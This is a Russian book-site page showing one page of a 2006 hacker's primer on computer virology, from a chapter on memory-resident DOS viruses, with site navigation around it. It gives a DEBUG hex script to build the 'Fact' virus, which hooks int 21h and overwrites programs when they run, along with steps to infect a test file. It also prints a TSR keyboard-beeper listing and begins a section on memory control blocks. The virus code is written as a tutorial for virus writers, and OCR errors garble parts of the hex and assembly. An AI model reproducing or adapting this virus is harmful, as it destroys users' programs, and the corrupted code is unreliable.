Книги
чёрным по белому
Главное меню
Главная О нас Добавить материал Поиск по сайту Карта книг Карта сайта
Книги
Археология Архитектура Бизнес Биология Ветеринария Военная промышленность География Геология Гороскоп Дизайн Журналы Инженерия Информационные ресурсы Искусство История Компьютерная литература Криптология Кулинария Культура Лингвистика Математика Медицина Менеджмент Металлургия Минералогия Музыка Научная литература Нумизматика Образование Охота Педагогика Политика Промышленные производства Психология Путеводители Религия Рыбалка Садоводство Саморазвитие Семиотика Социология Спорт Столярное дело Строительство Техника Туризм Фантастика Физика Футурология Химия Художественная литература Экология Экономика Электроника Энергетика Этика Юриспруденция
Новые книги
Цуканов Б.И. "Время в психике человека" (Медицина)

Суворов С. "Танк Т-64. Первенец танков 2-го поколения " (Военная промышленность)

Нестеров В.А. "Основы проэктирования ракет класса воздух- воздух и авиационных катапульных установок для них" (Военная промышленность)

Фогль Б. "101 вопрос, который задала бы ваша кошка своему ветеринару если бы умела говорить" (Ветеринария)

Яблоков Н.П. "Криминалистика" (Юриспруденция)
Реклама

Азбука хакера 3. Компьютерная вирусология - Собейкис В.Г.

Собейкис В.Г. Азбука хакера 3. Компьютерная вирусология — М.: Майор, 2006. — 512 c.
ISBN 5-98551-013-1
Скачать (прямая ссылка): hakeriazbukahakera2006.djvu
Предыдущая << 1 .. 36 37 38 39 40 41 < 42 > 43 44 45 46 47 48 .. 123 >> Следующая

административная и начинается с "code_begin>; вторая часть не выполняется
при первой генерации вируса.
При первой генерации Fact лишь изменяет IVT и становится резидентом
памяти. Этот вирус дремлет до тех пор, пока не инициализируется функция
4bh (загрузить/выполнить програм-
141
Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
му) прерывания 21h. Тогда он грубо переписывает программу и заменяет ее
своим кодом.
Присмотритесь к объектному коду "Oeah* прямо перед областью хранения
данных этого прерывания. Помните, программируя паразитический вирус, мы
использовали "db 0eh,0,0* в начале программы? То есть мы кодировали
особую инструкцию непосредственно в программе. "Oeah* (или двоичное
11101010) - это объектный код для дальнего прыжка. В нашем случае дальний
прыжок осуществляется к адресу оригинальной ISR - int 21h.
Ниже приведены отладочные скрипты для вируса Fact и жертвы (fly.com):
N FACT.COM
Е 0100 В8 21 35 СО 21 89 1Е 20 01 8С 06 2F 01 В4 25 ВА
Е 0110 17 01 CD 21 92 CD 27 80 FC 4В 75 10 В8 01 3D CD
Е0120 21 93 0Е 1FВ440 В9 2D00 BA0001 ЕА00 00 00
Е 0130 00 5В 46 61 63 74 5D
RCX
0037
W
Q
N FLY СОМ
E0100B44CB0 00CD21 RCX 0006 W Q
Как только вы поместите оба файла в одной директории, напечатайте в окне
DOS-подсказки слово "fact*. Вирус инсталлируется в память компьютера.
Напечатайте "dir* и осмотрите содержание директории. Длина файлов fact и
fly соответственно равна 55 и 6. Теперь напечатайте "fly*. Для выполнения
программы инициализируется функция 4bh прерывания 21.
Вирус тут же перепишет программу fly в новой ISR. Снова напечатайте
"dir*. Вы увидите, что длина fly увеличилась до 45. Вот
142
ГЛАВА 4. Вирус - резидент памяти
так все и работает. Если вы перезапустите ваш компьютер, вирус будет
удален из памяти.
Мастера по-разному обыгрывают int 27h. Некоторые закрепляют подпрограмму
TSR к концу вируса и определяют начало кода, переходящего в память.
Другие крепят вирус к началу программы, что облегчает расчет параметров
подпрограммы TSR. Кстати, int 27h можно' заменить функцией 31h прерывания
21. Для этого используется следующий код:
mov ah, 31 h.
mov dx.size (in paragraphs) int 21 h
Рассмотрим пример функции 31h:
Код, приведенный ниже, не является вирусом. Он просто демонстрирует
резидентную программу. Wart.com перехватывает прерывание кейборда (int
09h). Когда программа становится резидентной, каждый раз при нажатии на
клавиши "h" и "t" (или "Н" и "Т") вы будете слышать "бипы". Пусть вас не
раздражает недопонимание некоторых инструкций. Сейчас вам нужно
разобраться в структуре подпрограммы, которая делает код резидентным.
code segment
assume cs:code, ds:code org 100h vlength equ (resi_leap-start+15)/16
start:
jmp resijeap
old_int9 dd ?
my_int9:
'push ax push cx push ds in al,60h cmp al,35
143
Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
je wart_growth cmp al,104 je wart_growth cmp al,20 je wart_growth cmp
al,116 je wart_growth jmp bye_bye wart_growth: mov al,192 out 43h,al mov
ax, 1000 out 42h,al mov al.ah out 42h,al In al,61h mov ah.al or al,03 out
61h,al mov cx, 19000 pause: loop pause mov al.ah out 61h,al bye_bye: pop
ds pop cx pop ax
jmp cs:old_int9
Ниже идет код, ответственный за переход в резиденты и перехват int 09h.
Верхняя часть нужна для того, чтобы оставаться резидентом, новая ISR -
для int 09h.
resijeap:
cli
mov ax,3509h int 2th
144
ГЛАВА 4. Вирус - резидент памяти
mov word ptr old_int9,bx
mov word ptr old_int9+2,es
mov ax,2509h
mov dx.offset my_int9
int 21 h
mov ah,31h
mov dx.vlength
sti
int 21h
code ends end start
NWART.COM
E 0100 EB 43 90 00 00 00 00 50 51 1E E4 60 3C 23 74 OF E0110 3C 68 74 OB
3C 14 7407 3C 74 74 03 EB 1F90B0 E 0120 СО E6 43 B8 E8 03 E6 42 8A C4 E6
42 E4 61 8A EO E0130ОС 03 E661 B9 38 4AE2FE8AC4E6 61 1F59 58 E 0140 2E FF
2E 03 01 FA B8 09 35 CD 21 89 1E 03 01 8C E 0150 06 05 01 B8 09 25 BA 07
01 CD 21 B4 31 BA 45 01 E0160FB CD 21 48 6F 72 6E 79 20 54 6F 61 64 21
OAOD RCX 0070 W Q
Блоки управления памятью
Прежде чем приступить к рассмотрению МСВ (Memory Control Block - блока
управления памятью), мы немного поговорим о самой памяти. Как вы помните,
мы сейчас обсуждаем реальный режим программирования 8086 процессора. То
есть нам нужно учитывать ограничения памяти.
Из доступного 1 Мб мы имеем две области: условную (основную) и высокую
память. Выше 1 Мб располагаются расширенная и верхняя памяти.
145
Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
Conventional memory (основная память) - 0 до 640 Кб Upper Memory (высокая
память) - 640 Кб до 1 Мб
Extended memory (расширенная память) - Адреса выше 1 Мб High Memory
(верхняя память) - Адреса выше 1 Мб
Большинство вирусмейкеров используют основную память. Если вы встретите
слова о загрузке вируса в верхнюю память, то имеется в виду загрузка
вируса в верхнюю часть основной памяти. Основная память делится на блоки.
Каждый блок памяти "описывается" блоком управления памятью или МСВ.
В начале каждого блока памяти DOS создает однопараграфный (16-байтовый)
Предыдущая << 1 .. 36 37 38 39 40 41 < 42 > 43 44 45 46 47 48 .. 123 >> Следующая